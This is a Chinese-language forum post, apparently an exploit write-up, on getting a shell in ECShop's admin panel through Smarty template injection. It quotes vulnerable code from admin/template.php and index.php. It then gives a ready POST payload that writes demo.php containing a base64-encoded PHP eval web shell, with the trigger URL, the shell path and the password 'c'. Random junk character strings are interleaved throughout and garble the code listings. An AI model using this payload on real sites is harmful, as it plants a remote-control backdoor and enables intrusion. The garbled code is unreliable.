Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

! k* [6 ]( P. ~" q2 ]2 K而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php

1 if ($_REQUEST['act'] == 'update_library')

2   
2 I/ z8 v5 [) c8 Z. j, u# q
3 T4 k4 L' q2 j9 g# h# I3 {
1 R  `$ t0 j# t2 k8 K: B
, l" P- F' ?+ Q$ s8 M4     check_authz_json('library_manage');

5   
  H, ?, F; H* D, V( U+ v
6     $html = stripslashes(json_str_iconv($_POST['html']));
' [, m/ Y( k: D: X
! N# G0 H( h3 W1 t7   
0 T. y& c3 B; }/ b% o- E( `5 k- Z
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

9   
8 x4 T7 P; @. A/ a
2 o# c& X% X4 v2 [10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

11   
, o( v: n" c/ }8 @
& P4 ~( s6 l) S3 x1 `7 @12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

13   
+ A$ P* F7 D6 ]8 ]
8 {  b8 A4 A0 j) e9 s( c14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
: X( g4 M) a/ b6 k( ]
2 p7 a# e4 M3 Q. N15     {
' |( f, h7 z4 J( z5 l
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
, ~4 V9 e0 {" L9 i
17         make_json_result('', $_LANG['update_lib_success']);

* g# v5 r, Y$ Y. c# C+ P/ M18     }

. X% S6 T) m# n) i* D19     else
: s' p6 B! q$ f8 P# T# o
4 f2 U& @9 `* \0 {! L: M( ], ]& l20     {
: Q* n1 `% {7 G/ d
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

22     }
6 O6 P( T  |! B
6 U8 R" G) v( G( }: l" K23 }
6 |8 H- i# L2 N6 m# ~1 a- k
那么找个比较方便调用了模板的文件
# e0 v) a4 F7 \7 ]% U3 qindex.php

1 if ($act == 'cat_rec')
' a$ g! h" j: b1 Q9 P
2   

$ }! Y9 H) B9 X' G3 m9 t, X- U$ W3 {

" L5 C9 E1 y. R& l2 l; ^9 E  k4   
* S, r' g9 O3 e6 T0 s' s4 j- M
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

6   
; A" a2 J# ^! t" @; S
5 ]7 u2 q; N( |; U8 O) L, x# E7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
* I5 s" i0 u; j0 O* w6 [
8   

+ i5 k  G( t5 ^6 f2 [6 H- p9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

10   
% ^# t& m+ L; ]  i9 @+ c
4 K, r- E  d0 O2 I) f$ K11     include_once('includes/cls_json.php');

/ q/ F) J' c; n, y, {1 z' Q" z12   

3 y* x4 k( J! `- O: _+ r9 s13     $json = new JSON;

14   

' m7 Y8 l6 a( i( Q; h& r15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

& h! {) Z( k- v, I1 `& z8 ]. e16   
: `2 W$ |/ i' n. u/ w# m
17     $children = get_children($cat_id);

18   
' @4 Z8 @- R3 R; f1 F7 q
( g% I4 B, g" _5 Q19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

20   

21     $smarty->assign('cat_rec_sign', 1);
( F5 e" d# o. J2 I7 t
22   
$ z0 i8 i3 k6 \% y
2 ]' p3 ~  j' c0 v( r23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
* r: F* V' z) {
24   
( R3 y8 Q! C3 n8 f8 e
$ Z7 o% I1 o; O% r25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

+ q6 M0 d. v1 @$ X6 Z+ g5 `& X7 f26   
* W* w0 u- ?  ^6 A2 j
27         echo $rec_array[$rec_type];

28   

% [' m  [- U. k5 h2 n- h% J29     die($json->encode($result));

2 T5 K9 `; I5 b1 l30   
2 h2 m  ^1 [# w' R! ?" N
31 }

那么就有利用方法了
, s) D' O; i) R+ @; `7 bpost包到http://localhost/ec/admin/template.php?act=update_library
8 E- |- G: X4 O. F/ ]4 b$ jPost内容：

​
! y9 H) ^" k9 _- K4 ?: j1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

6 E5 U7 R0 U3 e* p然后访问http://localhost/ec/index.php?act=cat_rec
4 A  g7 @7 _: `
3 _- s: t- _$ m8 k0 e/ ~shel地址：http://localhost/ec/demo.php
密码c
/ c4 V( c' _+ J8 ?